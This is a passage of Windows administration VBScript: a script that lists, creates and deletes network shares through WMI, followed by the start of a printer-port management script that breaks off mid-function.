CONST CONST_DELETE = "DELETE"
CONST CONST_LIST = "LIST"
'Declare variables
Dim strOutputFile, intOpMode, blnQuiet, i
Dim strServer, strUserName, strPassword
Dim strShareCommand, strShareName, strSharePath,strShareType, strShareComment
ReDim strArgumentArray(0)
'Initialize variables
strArgumentArray(0) = ""
strServer = ""
strShareName = ""
strSharePath = ""
strShareType = "disk"
strShareComment = ""
blnQuiet = False
strUserName = ""
strPassword = ""
strOutputFile = ""
'Get the command line arguments
For i = 0 to Wscript.arguments.count - 1
ReDim Preserve strArgumentArray(i)
strArgumentArray(i) = Wscript.arguments.Item(i)
Next
'Check whether the script is run using CScript
Select Case intChkProgram()
Case CONST_CSCRIPT
'Do Nothing
Case CONST_WSCRIPT
WScript.Echo "Please run this script using CScript." & vbCRLF & _
"This can be achieved by" & vbCRLF & _
"1. Using ""CScript SHARE.VBS arguments"" for Windows 95/98 or" & vbCRLF & _
"2. Changing the default Windows Scripting Host setting to CScript" & vbCRLF & _
" using ""CScript //H:CScript //S"" and running the script using" & vbCRLF & _
" ""SHARE.VBS arguments"" for Windows NT."
WScript.Quit
Case Else
WScript.Quit
End Select
'Parse the command line
intOpMode = intParseCmdLine(strArgumentArray, strServer, strShareCommand, _
strShareName, strSharePath, strShareType,strShareComment, _
strUserName, strPassword, strOutputFile, blnQuiet)
If Err.Number then
Print "Error 0x" & CStr(Hex(Err.Number)) & " occurred in parsing the command line."
If Err.Description <> "" Then
Print "Error description: " & Err.Description & "."
End If
WScript.Quit
End If
Select Case intOpMode
Case CONST_SHOW_USAGE
Call ShowUsage()
Case CONST_PROCEED
Call Share(strServer, strUserName, strPassword, strOutputFile,strShareCommand, _
strShareName,strSharePath,strShareType,strShareComment)
Case CONST_ERROR
'Do nothing.
Case Else 'Default -- should never happen
Print "Error occurred in passing parameters."
End Select
'********************************************************************
'*
'* Function intChkProgram()
'* Purpose: Determines which program is used to run this script.
'* Input: None
'* Output: intChkProgram is set to one of CONST_ERROR, CONST_WSCRIPT,
'* and CONST_CSCRIPT.
'*
'********************************************************************
Private Function intChkProgram()
ON ERROR RESUME NEXT
Dim strFullName, strCommand, i, j
'strFullName should be something like C:\WINDOWS\COMMAND\CSCRIPT.EXE
strFullName = WScript.FullName
If Err.Number then
Print "Error 0x" & CStr(Hex(Err.Number)) & " occurred."
If Err.Description <> "" Then
If Err.Description <> "" Then
Print "Error description: " & Err.Description & "."
End If
End If
intChkProgram = CONST_ERROR
Exit Function
End If
i = InStr(1, strFullName, ".exe", 1)
If i = 0 Then
intChkProgram = CONST_ERROR
Exit Function
Else
j = InStrRev(strFullName, "\", i, 1)
If j = 0 Then
intChkProgram = CONST_ERROR
Exit Function
Else
strCommand = Mid(strFullName, j+1, i-j-1)
Select Case LCase(strCommand)
Case "cscript"
intChkProgram = CONST_CSCRIPT
Case "wscript"
intChkProgram = CONST_WSCRIPT
Case Else 'should never happen
Print "An unexpected program is used to run this script."
Print "Only CScript.Exe or WScript.Exe can be used to run this script."
intChkProgram = CONST_ERROR
End Select
End If
End If
End Function
'********************************************************************
'*
'* Function intParseCmdLine()
'* Purpose: Parses the command line.
'* Input: strArgumentArray an array containing input from the command line
'* Output: strServer a machine name
'* strShareCommand one of list, create, and delete
'* strShareName name of the share to be created or deleted
'* strSharePath path of the share to be created
'* strShareType type of the share to be created
'* strShareComment comment for the share to be created
'* strOutputFile an output file name
'* strUserName the current user's name
'* strPassword the current user's password
'* blnQuiet specifies whether to suppress messages
'* intParseCmdLine is set to one of CONST_ERROR, CONST_SHOW_USAGE, CONST_PROCEED.
'*
'********************************************************************
Private Function intParseCmdLine(strArgumentArray, strServer, strShareCommand, _
strShareName, strSharePath, strShareType,strShareComment, _
strUserName, strPassword, strOutputFile, blnQuiet)
ON ERROR RESUME NEXT
Dim strFlag, i
strFlag = strArgumentArray(0)
If strFlag = "" then 'No arguments have been received
Print "Arguments are required."
intParseCmdLine = CONST_SHOW_USAGE
Exit Function
End If
If (strFlag="help") OR (strFlag="/h") OR (strFlag="\h") OR (strFlag="-h") _
OR (strFlag = "\?") OR (strFlag = "/?") OR (strFlag = "?") OR (strFlag="h") Then
intParseCmdLine = CONST_SHOW_USAGE
Exit Function
End If
For i = 0 to UBound(strArgumentArray)
strFlag = LCase(Left(strArgumentArray(i), InStr(1, strArgumentArray(i), ":")-1))
If Err.Number Then 'An error occurs if there is no : in the string
Err.Clear
Select Case LCase(strArgumentArray(i))
Case "/c"
strShareCommand = CONST_CREATE
Case "/d"
strShareCommand = CONST_DELETE
Case "/l"
strShareCommand = CONST_LIST
Case "/q"
blnQuiet = True
Case Else
Print "Invalid flag " & """" & strFlag & """" & "."
Print "Please check the input and try again."
intParseCmdLine = CONST_ERROR
Exit Function
End Select
Else
Select Case strFlag
Case "/s"
strServer = Right(strArgumentArray(i), Len(strArgumentArray(i))-3)
Case "/n"
strShareName = Right(strArgumentArray(i), Len(strArgumentArray(i))-3)
Case "/p"
strSharePath = Right(strArgumentArray(i), Len(strArgumentArray(i))-3)
Case "/t"
strShareType = Right(strArgumentArray(i), Len(strArgumentArray(i))-3)
Case "/c"
strShareComment = Right(strArgumentArray(i), Len(strArgumentArray(i))-3)
Case "/u"
strUserName = Right(strArgumentArray(i), Len(strArgumentArray(i))-3)
Case "/w"
strPassword = Right(strArgumentArray(i), Len(strArgumentArray(i))-3)
Case "/o"
strOutputFile = Right(strArgumentArray(i), Len(strArgumentArray(i))-3)
Case else
Print "Invalid flag " & """" & strFlag & ":""" & "."
Print "Please check the input and try again."
intParseCmdLine = CONST_ERROR
Exit Function
End Select
End If
Next
'Check input parameters
Select Case strShareCommand
Case CONST_CREATE
If strShareName = "" or strSharePath = "" Then
Print "To create a share you must enter its name, path."
Print "Please check the input and try again."
intParseCmdLine = CONST_ERROR
Exit Function
End If
'Check share type
Select Case LCase(strShareType)
Case "disk"
Case "printerq"
Case "device"
Case "ipc"
Case "disk$"
Case "printerq$"
Case "device$"
Case "ipc$"
Case Else
Print "Invalid share type " & """" & strShareType & """" & "."
Print "Please check the input and try again."
intParseCmdLine = CONST_ERROR
Exit Function
End Select
Case CONST_DELETE
If strShareName = "" Then
Print "The name of the shared to be deleted is not specified."
Print "Please check the input and try again."
intParseCmdLine = CONST_ERROR
Exit Function
End If
End Select
intParseCmdLine = CONST_PROCEED
End Function
'********************************************************************
'*
'* Sub ShowUsage()
'* Purpose: Shows the correct usage to the user.
'* Input: None
'* Output: Help messages are displayed on screen.
'*
'********************************************************************
Private Sub ShowUsage()
Wscript.echo ""
Wscript.echo "Lists, creates, or deletes shares from a machine." & vbCRLF
Wscript.echo "1. SHARE.VBS /L [/S:server] [/U:username] [/W:password]"
Wscript.echo " [/O:outputfile] [/Q]"
Wscript.echo "2. 2. SHARE.VBS /C [/S:server] /N:name /P:path [/T:type]"
Wscript.echo " [/C:comment] [/U:username] [/W:password] [/Q]"
Wscript.echo "3. 3. SHARE.VBS /D [/S:server] /N:name [/U:username]"
Wscript.echo " [/W:password] [/Q]"
Wscript.Echo " /S, /N, /P, /T, /C, /U, /W, /O"
Wscript.Echo " Parameter specifiers."
Wscript.Echo " /L Lists all shares on a machine."
Wscript.Echo " /C Creates a share on a machine."
Wscript.Echo " /D Deletes a shares from a machine."
Wscript.Echo " server Name of the server to be checked."
Wscript.echo " name Name of the share to be created or deleted."
Wscript.echo " path Path of the share to be created."
Wscript.echo " type Type of the share to be created. Must be one"
Wscript.echo " one of Disk, Printer, IPC, Special."
Wscript.Echo " outputfile The output file name."
Wscript.Echo " username The current user's name."
Wscript.Echo " password <PASSWORD>."
Wscript.Echo " /Q Suppresses all output messages." & vbCRLF
Wscript.Echo "EXAMPLE:"
Wscript.echo "1. SHARE.VBS /S:MyMachine2 /c /n:scratch /p:C:\Scratch"
Wscript.echo " /t:Disk /c:""Scratch directory"""
Wscript.echo " creates a file share called ""scratch"" on MyMachine2."
Wscript.echo "2. SHARE.VBS /S:MyMachine2 /l"
Wscript.echo " lists all shares on MyMachine2."
Wscript.echo "3. SHARE.VBS /S:MyMachine2 /d /n:aShare"
Wscript.echo " deletes share ""aShare"" from MyMachine2."
End Sub
'********************************************************************
'*
'* Sub Share()
'* Purpose: Lists, creates, or deletes shares from a machine.
'* Input: strServer name of the machine to be checked
'* strShareCommand one of list, create, and delete
'* strShareName name of the share to be created or deleted
'* strSharePath path of the share to be created
'* strShareType type of the share to be created
'* strShareComment a comment for the share to be created
'* strUserName the current user's name
'* strPassword the current <PASSWORD>'s password
'* strOutputFile an output file name
'* Output: Results are either printed on screen or saved in strOutputFile.
'*
'********************************************************************
Private Sub Share(strServer, strUserName, strPassword, strOutputFile, _
strShareCommand,strShareName,strSharePath,strShareType,strShareComment )
ON ERROR RESUME NEXT
Dim objFileSystem, objOutputFile, objService, strQuery
If strOutputFile = "" Then
objOutputFile = ""
Else
'Create a file object
set objFileSystem = CreateObject("Scripting.FileSystemObject")
If Err.Number then
Print "Error 0x" & CStr(Hex(Err.Number)) & " opening a filesystem object."
If Err.Description <> "" Then
Print "Error description: " & Err.Description & "."
End If
Exit Sub
End If
'Open the file for output
set objOutputFile = objFileSystem.OpenTextFile(strOutputFile, 8, True)
If Err.Number then
Print "Error 0x" & CStr(Hex(Err.Number)) & " opening file " & strOutputFile
If Err.Description <> "" Then
Print "Error description: " & Err.Description & "."
End If
Exit Sub
End If
End If
'Establish a connection with the server.
If blnConnect(objService, strServer, "root/cimv2", strUserName, strPassword) Then
Exit Sub
End If
'Now execute the method.
Call ExecuteMethod(objService, objOutputFile,strShareCommand,strShareName, _
strSharePath,strShareType,strShareComment)
If strOutputFile <> "" Then
objOutputFile.Close
If intResult > 0 Then
Wscript.echo "Results are saved in file " & strOutputFile & "."
End If
End If
End Sub
'********************************************************************
'*
'* Function blnConnect()
'* Purpose: Connects to machine strServer.
'* Input: strServer a machine name
'* strNameSpace a namespace
'* strUserName name of the current user
'* strPassword <PASSWORD>
'* Output: objService is returned as a service object.
'*
'********************************************************************
Private Function blnConnect(objService, strServer, strNameSpace, strUserName, strPassword)
ON ERROR RESUME NEXT
Dim objLocator
blnConnect = False 'There is no error.
' Create Locator object to connect to remote CIM object manager
Set objLocator = CreateObject("WbemScripting.SWbemLocator")
If Err.Number then
Print "Error 0x" & CStr(Hex(Err.Number)) & " occurred in creating a locator object."
If Err.Description <> "" Then
Print "Error description: " & Err.Description & "."
End If
Err.Clear
blnConnect = True 'An error occurred
Exit Function
End If
' Connect to the namespace which is either local or remote
Set objService = objLocator.ConnectServer (strServer, strNameSpace, _
strUserName, strPassword)
ObjService.Security_.impersonationlevel = 3
If Err.Number then
Print "Error 0x" & CStr(Hex(Err.Number)) & " occurred in connecting to server " _
& strServer & "."
If Err.Description <> "" Then
Print "Error description: " & Err.Description & "."
End If
Err.Clear
blnConnect = True 'An error occurred
End If
End Function
'********************************************************************
'*
'* Sub ExecMethod()
'* Purpose: Executes a method: creation, deletion, or listing.
'* Input: objService a service object
'* objOutputFile an output file object
'* strShareCommand one of list, create, and delete
'* strShareName name of the share to be created or deleted
'* strSharePath path of the share to be created
'* strShareType type of the share to be created
'* strShareComment a comment for the share to be created
'* Output: Results are either printed on screen or saved in objOutputFile.
'*
'********************************************************************
Private Sub ExecuteMethod(objService, objOutputFile, strShareCommand,strShareName, _
strSharePath,strShareType,strShareComment)
ON ERROR RESUME NEXT
Dim intType, intShareType, i, intStatus, strMessage
Dim objEnumerator, objInstance
ReDim strName(0), strDescription(0), strPath(0),strType(0), intOrder(0)
intShareType = 0
strMessage = ""
strName(0) = ""
strPath(0) = ""
strDescription(0) = ""
strType(0) = ""
intOrder(0) = 0
Select Case strShareCommand
Case CONST_CREATE
Set objInstance = objService.Get("Win32_Share")
If Err.Number Then
Print "Error 0x" & CStr(Hex(Err.Number)) & " occurred in getting " _
& " a share object."
If Err.Description <> "" Then
Print "Error description: " & Err.Description & "."
End If
Err.Clear
Exit Sub
End If
If objInstance is nothing Then
Exit Sub
Else
Select Case strShareType
Case "Disk"
intShareType = 0
Case "PrinterQ"
intShareType = 1
Case "Device"
intShareType = 2
Case "IPC"
intShareType = 3
Case "Disk$"
intShareType = -2147483648
Case "PrinterQ$"
intShareType = -2147483647
Case "Device$"
intShareType = -2147483646
Case "IPC$"
intShareType = -2147483645
End Select
intStatus = objInstance.Create(strSharePath, strShareName, intShareType, _
null, null, strShareComment, null, null)
If intStatus = 0 Then
strMessage = "Succeeded in creating share " & strShareName & "."
Else
strMessage = "Failed to create share " & strShareName & "."
strMessage = strMessage & vbCRLF & "Status = " & intStatus & "."
End If
WriteLine strMessage, objOutputFile
i = i + 1
End If
Case CONST_DELETE
Set objInstance = objService.Get("Win32_Share='" & strShareName & "'")
If Err.Number Then
Print "Error 0x" & CStr(Hex(Err.Number)) & " occurred in getting share " _
& strShareName & "."
If Err.Description <> "" Then
Print "Error description: " & Err.Description & "."
End If
Err.Clear
Exit Sub
End If
If objInstance is nothing Then
Exit Sub
Else
intStatus = objInstance.Delete()
If intStatus = 0 Then
strMessage = "Succeeded in deleting share " & strShareName & "."
Else
strMessage = "Failed to delete share " & strShareName & "."
strMessage = strMessage & vbCRLF & "Status = " & intStatus & "."
End If
WriteLine strMessage, objOutputFile
i = i + 1
End If
Case CONST_LIST
Set objEnumerator = objService.ExecQuery (_
"Select Name,Description,Path,Type From Win32_Share")
If Err.Number Then
Print "Error 0x" & CStr(Hex(Err.Number)) & " occurred during the query."
If Err.Description <> "" Then
Print "Error description: " & Err.Description & "."
End If
Err.Clear
Exit Sub
End If
i = 0
For Each objInstance in objEnumerator
If objInstance is nothing Then
Exit Sub
End If
ReDim Preserve strName(i),strDescription(i),strPath(i),strType(i),intOrder(i)
strName(i) = objInstance.Name
strDescription(i) = objInstance.Description
strPath(i) = objInstance.Path
intOrder(i) = i
intType = objInstance.Type
Select Case intType
Case 0
strType (i) = "Disk"
Case 1
strType (i) = "PrinterQ"
Case 2
strType (i) = "Device"
Case 3
strType (i) = "IPC"
Case -2147483648
strType(i) = "Disk$"
Case -2147483647
strType(i) = "PrinterQ$"
Case -2147483646
strType(i) = "Device$"
Case -2147483645
strType (i) = "IPC$"
Case else
strType (i) = "Unknown"
End Select
If Err.Number Then
Err.Clear
End If
i = i + 1
Next
If i > 0 Then
Call SortArray(strName, True, intOrder, 0)
Call ReArrangeArray(strDescription, intOrder)
Call ReArrangeArray(strPath, intOrder)
Call ReArrangeArray(strType, intOrder)
'Display a header.
strMessage = Space(2) & strPackString("Name", 10, 1, 0)
strMessage = strMessage & strPackString("Type", 10, 1, 0)
strMessage = strMessage & strPackString("Description", 15, 1, 0)
strMessage = strMessage & strPackString("Path", 30, 1, 0) & vbCRLF
WriteLine strMessage, objOutputFile
For i = 0 To UBound(strName)
strMessage = Space(2) & strPackString(strName(i), 10, 1, 0)
strMessage = strMessage & strPackString(strType(i), 10, 1, 0)
strMessage = strMessage & strPackString(strDescription(i), 15, 1, 0)
strMessage = strMessage & strPackString(strPath(i), 30, 1, 0)
WriteLine strMessage, objOutputFile
Next
Else
strMessage = "No share is found."
WriteLine strMessage, objOutputFile
End If
End Select
End Sub
'********************************************************************
'*
'* Sub SortArray()
'* Purpose: Sorts an array and arrange another array accordingly.
'* Input: strArray the array to be sorted
'* blnOrder True for ascending and False for descending
'* strArray2 an array that has exactly the same number of elements as strArray
'* and will be reordered together with strArray
'* blnCase indicates whether the order is case sensitive
'* Output: The sorted arrays are returned in the original arrays.
'* Note: Repeating elements are not deleted.
'*
'********************************************************************
Private Sub SortArray(strArray, blnOrder, strArray2, blnCase)
ON ERROR RESUME NEXT
Dim i, j, intUbound
If IsArray(strArray) Then
intUbound = UBound(strArray)
Else
Print "Argument is not an array!"
Exit Sub
End If
blnOrder = CBool(blnOrder)
blnCase = CBool(blnCase)
If Err.Number Then
Print "Argument is not a boolean!"
Exit Sub
End If
i = 0
Do Until i > intUbound-1
j = i + 1
Do Until j > intUbound
If blnCase Then 'Case sensitive
If (strArray(i) > strArray(j)) and blnOrder Then
Swap strArray(i), strArray(j) 'swaps element i and j
Swap strArray2(i), strArray2(j)
ElseIf (strArray(i) < strArray(j)) and Not blnOrder Then
Swap strArray(i), strArray(j) 'swaps element i and j
Swap strArray2(i), strArray2(j)
ElseIf strArray(i) = strArray(j) Then
'Move element j to next to i
If j > i + 1 Then
Swap strArray(i+1), strArray(j)
Swap strArray2(i+1), strArray2(j)
End If
End If
Else
If (LCase(strArray(i)) > LCase(strArray(j))) and blnOrder Then
Swap strArray(i), strArray(j) 'swaps element i and j
Swap strArray2(i), strArray2(j)
ElseIf (LCase(strArray(i)) < LCase(strArray(j))) and Not blnOrder Then
Swap strArray(i), strArray(j) 'swaps element i and j
Swap strArray2(i), strArray2(j)
ElseIf LCase(strArray(i)) = LCase(strArray(j)) Then
'Move element j to next to i
If j > i + 1 Then
Swap strArray(i+1), strArray(j)
Swap strArray2(i+1), strArray2(j)
End If
End If
End If
j = j + 1
Loop
i = i + 1
Loop
End Sub
'********************************************************************
'*
'* Sub Swap()
'* Purpose: Exchanges values of two strings.
'* Input: strA a string
'* strB another string
'* Output: Values of strA and strB are exchanged.
'*
'********************************************************************
Private Sub Swap(ByRef strA, ByRef strB)
Dim strTemp
strTemp = strA
strA = strB
strB = strTemp
End Sub
'********************************************************************
'*
'* Sub ReArrangeArray()
'* Purpose: Rearranges one array according to order specified in another array.
'* Input: strArray the array to be rearranged
'* intOrder an integer array that specifies the order
'* Output: strArray is returned as rearranged
'*
'********************************************************************
Private Sub ReArrangeArray(strArray, intOrder)
ON ERROR RESUME NEXT
Dim intUBound, i, strTempArray()
If Not (IsArray(strArray) and IsArray(intOrder)) Then
Print "At least one of the arguments is not an array"
Exit Sub
End If
intUBound = UBound(strArray)
If intUBound <> UBound(intOrder) Then
Print "The upper bound of these two arrays do not match!"
Exit Sub
End If
ReDim strTempArray(intUBound)
For i = 0 To intUBound
strTempArray(i) = strArray(intOrder(i))
If Err.Number Then
Print "Error 0x" & CStr(Hex(Err.Number)) & " occurred in rearranging an array."
If Err.Description <> "" Then
Print "Error description: " & Err.Description & "."
End If
Err.Clear
Exit Sub
End If
Next
For i = 0 To intUBound
strArray(i) = strTempArray(i)
Next
End Sub
'********************************************************************
'*
'* Function strPackString()
'* Purpose: Attaches spaces to a string to increase the length to intLength.
'* Input: strString a string
'* intLength the intended length of the string
'* blnAfter specifies whether to add spaces after or before the string
'* blnTruncate specifies whether to truncate the string or not if
'* the string length is longer than intLength
'* Output: strPackString is returned as the packed string.
'*
'********************************************************************
Private Function strPackString(strString, ByVal intLength, blnAfter, blnTruncate)
ON ERROR RESUME NEXT
intLength = CInt(intLength)
blnAfter = CBool(blnAfter)
blnTruncate = CBool(blnTruncate)
If Err.Number Then
Print "Argument type is incorrect!"
Err.Clear
Wscript.Quit
End If
If IsNull(strString) Then
strPackString = Space(intLength)
Exit Function
End If
strString = CStr(strString)
If Err.Number Then
Print "Argument type is incorrect!"
Err.Clear
Wscript.Quit
End If
If intLength > Len(strString) Then
If blnAfter Then
strPackString = strString & Space(intLength-Len(strString))
Else
strPackString = Space(intLength-Len(strString)) & strString & " "
End If
Else
If blnTruncate Then
strPackString = Left(strString, intLength-1) & " "
Else
strPackString = strString & " "
End If
End If
End Function
'********************************************************************
'*
'* Sub WriteLine()
'* Purpose: Writes a text line either to a file or on screen.
'* Input: strMessage the string to print
'* objFile an output file object
'* Output: strMessage is either displayed on screen or written to a file.
'*
'********************************************************************
Sub WriteLine(ByRef strMessage, ByRef objFile)
If IsObject(objFile) then 'objFile should be a file object
objFile.WriteLine strMessage
Else
Wscript.Echo strMessage
End If
End Sub
'********************************************************************
'*
'* Sub Print()
'* Purpose: Prints a message on screen if blnQuiet = False.
'* Input: strMessage the string to print
'* Output: strMessage is printed on screen if blnQuiet = False.
'*
'********************************************************************
Sub Print(ByRef strMessage)
If Not blnQuiet then
Wscript.Echo strMessage
End If
End Sub
'********************************************************************
'* *
'* End of File *
'* *
'********************************************************************
'********************************************************************
'*
'* Procedures calling sequence: SHARE.VBS
'*
'* intParseCmdLine
'* ShowUsage
'* Share
'* blnConnect
'* ExecuteMethod
'* SortArray
'* Swap
'* ReArrangeArray
'* strPackString
'* WriteLine
'*
'********************************************************************
'********************************************************************
|
'----------------------------------------------------------------------
'
' Copyright (c) Microsoft Corporation. All rights reserved.
'
' Abstract:
' prnport.vbs - Port script for WMI on Whistler
' used to add, delete and list ports
' also for getting and setting the port configuration
'
' Usage:
' prnport [-adlgt?] [-r port] [-s server] [-u user name] [-w password]
' [-o raw|lpr] [-h host address] [-q queue] [-n number]
' [-me | -md ] [-i SNMP index] [-y community] [-2e | -2d]"
'
' Examples
' prnport -a -s server -r IP_172.16.31.10 -e 172.16.31.10 -o raw -n 9100
' prnport -d -s server -r c:\temp\foo.prn
' prnport -l -s server
' prnport -g -s server -r IP_172.16.31.10
' prnport -t -s server -r IP_172.16.31.10 -me -y public -i 1 -n 9100
'
'----------------------------------------------------------------------
option explicit
'
' Debugging trace flags, to enable debug output trace message
' change gDebugFlag to true.
'
dim gDebugFlag
const kDebugTrace = 1
const kDebugError = 2
gDebugFlag = false
'
' Operation action values.
'
const kActionAdd = 0
const kActionDelete = 1
const kActionList = 2
const kActionUnknown = 3
const kActionGet = 4
const kActionSet = 5
const kErrorSuccess = 0
const KErrorFailure = 1
const kFlagCreateOrUpdate = 0
const kNameSpace = "root\cimv2"
'
' Constants for the parameter dictionary
'
const kServerName = 1
const kPortName = 2
const kDoubleSpool = 3
const kPortNumber = 4
const kPortType = 5
const kHostAddress = 6
const kSNMPDeviceIndex = 7
const kCommunityName = 8
const kSNMP = 9
const kQueueName = 10
const kUserName = 11
const kPassword = 12
'
' Generic strings
'
const L_Empty_Text = ""
const L_Space_Text = " "
const L_Error_Text = "Error"
const L_Success_Text = "Success"
const L_Failed_Text = "Failed"
const L_Hex_Text = "0x"
const L_Printer_Text = "Printer"
const L_Operation_Text = "Operation"
const L_Provider_Text = "Provider"
const L_Description_Text = "Description"
const L_Debug_Text = "Debug:"
'
' General usage messages
'
const L_Help_Help_General01_Text = "Usage: prnport [-adlgt?] [-r port][-s server][-u user name][-w password]"
const L_Help_Help_General02_Text = " [-o raw|lpr][-h host address][-q queue][-n number]"
const L_Help_Help_General03_Text = " [-me | -md ][-i SNMP index][-y community][-2e | -2d]"
const L_Help_Help_General04_Text = "Arguments:"
const L_Help_Help_General05_Text = "-a - add a port"
const L_Help_Help_General06_Text = "-d - delete the specified port"
const L_Help_Help_General07_Text = "-g - get configuration for a TCP port"
const L_Help_Help_General08_Text = "-h - IP address of the device"
const L_Help_Help_General09_Text = "-i - SNMP index, if SNMP is enabled"
const L_Help_Help_General10_Text = "-l - list all TCP ports"
const L_Help_Help_General11_Text = "-m - SNMP type. [e] enable, [d] disable"
const L_Help_Help_General12_Text = "-n - port number, applies to TCP RAW ports"
const L_Help_Help_General13_Text = "-o - port type, raw or lpr"
const L_Help_Help_General14_Text = "-q - queue name, applies to TCP LPR ports"
const L_Help_Help_General15_Text = "-r - port name"
const L_Help_Help_General16_Text = "-s - server name"
const L_Help_Help_General17_Text = "-t - set configuration for a TCP port"
const L_Help_Help_General18_Text = "-u - user name"
const L_Help_Help_General19_Text = "-w - password"
const L_Help_Help_General20_Text = "-y - community name, if SNMP is enabled"
const L_Help_Help_General21_Text = "-2 - double spool, applies to TCP LPR ports. [e] enable, [d] disable"
const L_Help_Help_General22_Text = "-? - display command usage"
const L_Help_Help_General23_Text = "Examples:"
const L_Help_Help_General24_Text = "prnport -l -s server"
const L_Help_Help_General25_Text = "prnport -d -s server -r IP_1.2.3.4"
const L_Help_Help_General26_Text = "prnport -a -s server -r IP_1.2.3.4 -h 172.16.31.10 -o raw -n 9100"
const L_Help_Help_General27_Text = "prnport -t -s server -r IP_172.16.31.10 -me -y public -i 1 -n 9100"
const L_Help_Help_General28_Text = "prnport -g -s server -r IP_172.16.31.10"
const L_Help_Help_General29_Text = "prnport -a -r IP_172.16.31.10 -h 172.16.31.10"
const L_Help_Help_General30_Text = "Remark:"
const L_Help_Help_General31_Text = "The last example will try to get the device settings at the specified IP address."
const L_Help_Help_General32_Text = "If a device is detected, then a TCP port is added with the preferred settings for that device."
'
' Messages to be displayed if the scripting host is not cscript
'
const L_Help_Help_Host01_Text = "Please run this script using CScript."
const L_Help_Help_Host02_Text = "This can be achieved by"
const L_Help_Help_Host03_Text = "1. Using ""CScript script.vbs arguments"" or"
const L_Help_Help_Host04_Text = "2. Changing the default Windows Scripting Host to CScript"
const L_Help_Help_Host05_Text = " using ""CScript //H:CScript //S"" and running the script "
const L_Help_Help_Host06_Text = " ""script.vbs arguments""."
'
' General error messages
'
const L_Text_Error_General01_Text = "The scripting host could not be determined."
const L_Text_Error_General02_Text = "Unable to parse command line."
const L_Text_Error_General03_Text = "Win32 error code"
'
' Miscellaneous messages
'
const L_Text_Msg_General01_Text = "Added port"
const L_Text_Msg_General02_Text = "Unable to delete port"
const L_Text_Msg_General03_Text = "Unable to get port"
const L_Text_Msg_General04_Text = "Created/updated port"
const L_Text_Msg_General05_Text = "Unable to create/update port"
const L_Text_Msg_General06_Text = "Unable to enumerate ports"
const L_Text_Msg_General07_Text = "Number of ports enumerated"
const L_Text_Msg_General08_Text = "Deleted port"
const L_Text_Msg_General09_Text = "Unable to get SWbemLocator object"
const L_Text_Msg_General10_Text = "Unable to connect to WMI service"
'
' Port properties
'
const L_Text_Msg_Port01_Text = "Server name"
const L_Text_Msg_Port02_Text = "Port name"
const L_Text_Msg_Port03_Text = "Host address"
const L_Text_Msg_Port04_Text = "Protocol RAW"
const L_Text_Msg_Port05_Text = "Protocol LPR"
const L_Text_Msg_Port06_Text = "Port number"
const L_Text_Msg_Port07_Text = "Queue"
const L_Text_Msg_Port08_Text = "Byte Count Enabled"
const L_Text_Msg_Port09_Text = "Byte Count Disabled"
const L_Text_Msg_Port10_Text = "SNMP Enabled"
const L_Text_Msg_Port11_Text = "SNMP Disabled"
const L_Text_Msg_Port12_Text = "Community"
const L_Text_Msg_Port13_Text = "Device index"
'
' Debug messages
'
const L_Text_Dbg_Msg01_Text = "In function DelPort"
const L_Text_Dbg_Msg02_Text = "In function CreateOrSetPort"
const L_Text_Dbg_Msg03_Text = "In function ListPorts"
const L_Text_Dbg_Msg04_Text = "In function GetPort"
const L_Text_Dbg_Msg05_Text = "In function ParseCommandLine"
main
'
' Main execution starts here
'
sub main
on error resume next
dim iAction
dim iRetval
dim oParamDict
'
' Abort if the host is not cscript
'
if not IsHostCscript() then
call wscript.echo(L_Help_Help_Host01_Text & vbCRLF & L_Help_Help_Host02_Text & vbCRLF & _
L_Help_Help_Host03_Text & vbCRLF & L_Help_Help_Host04_Text & vbCRLF & _
L_Help_Help_Host05_Text & vbCRLF & L_Help_Help_Host06_Text & vbCRLF)
wscript.quit
end if
set oParamDict = CreateObject("Scripting.Dictionary")
iRetval = ParseCommandLine(iAction, oParamDict)
if iRetval = 0 then
select case iAction
case kActionAdd
iRetval = CreateOrSetPort(oParamDict)
case kActionDelete
iRetval = DelPort(oParamDict)
case kActionList
iRetval = ListPorts(oParamDict)
case kActionGet
iRetVal = GetPort(oParamDict)
case kActionSet
iRetVal = CreateOrSetPort(oParamDict)
case else
Usage(true)
exit sub
end select
end if
end sub
'
' Delete a port
'
function DelPort(oParamDict)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg01_Text
DebugPrint kDebugTrace, L_Text_Msg_Port01_Text & L_Space_Text & oParamDict(kServerName)
DebugPrint kDebugTrace, L_Text_Msg_Port02_Text & L_Space_Text & oParamDict(kPortName)
dim oService
dim oPort
dim iResult
dim strServer
dim strPort
dim strUser
dim strPassword
iResult = kErrorFailure
strServer = oParamDict(kServerName)
strPort = oParamDict(kPortName)
strUser = oParamDict(kUserName)
strPassword = oParamDict(kPassword)
if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then
set oPort = oService.Get("Win32_TCPIPPrinterPort='" & strPort & "'")
else
DelPort = kErrorFailure
exit function
end if
'
' Check if Get succeeded
'
if Err.Number = kErrorSuccess then
'
' Try deleting the instance
'
oPort.Delete_
if Err.Number = kErrorSuccess then
wscript.echo L_Text_Msg_General08_Text & L_Space_Text & strPort
else
wscript.echo L_Text_Msg_General02_Text & L_Space_Text & L_Error_Text & L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description
'
' Try getting extended error information
'
call LastError()
end if
else
wscript.echo L_Text_Msg_General02_Text & L_Space_Text & L_Error_Text & L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description
'
' Try getting extended error information
'
call LastError()
end if
DelPort = iResult
end function
'
' Add or update a port
'
function CreateOrSetPort(oParamDict)
on error resume next
dim oPort
dim oService
dim iResult
dim PortType
dim strServer
dim strPort
dim strUser
dim strPassword
DebugPrint kDebugTrace, L_Text_Dbg_Msg02_Text
DebugPrint kDebugTrace, L_Text_Msg_Port01_Text & L_Space_Text & oParamDict.Item(kServerName)
DebugPrint kDebugTrace, L_Text_Msg_Port02_Text & L_Space_Text & oParamDict.Item(kPortName)
DebugPrint kDebugTrace, L_Text_Msg_Port06_Text & L_Space_Text & oParamDict.Item(kPortNumber)
DebugPrint kDebugTrace, L_Text_Msg_Port07_Text & L_Space_Text & oParamDict.Item(kQueueName)
DebugPrint kDebugTrace, L_Text_Msg_Port13_Text & L_Space_Text & oParamDict.Item(kSNMPDeviceIndex)
DebugPrint kDebugTrace, L_Text_Msg_Port12_Text & L_Space_Text & oParamDict.Item(kCommunityName)
DebugPrint kDebugTrace, L_Text_Msg_Port03_Text & L_Space_Text & oParamDict.Item(kHostAddress)
strServer = oParamDict(kServerName)
strPort = oParamDict(kPortName)
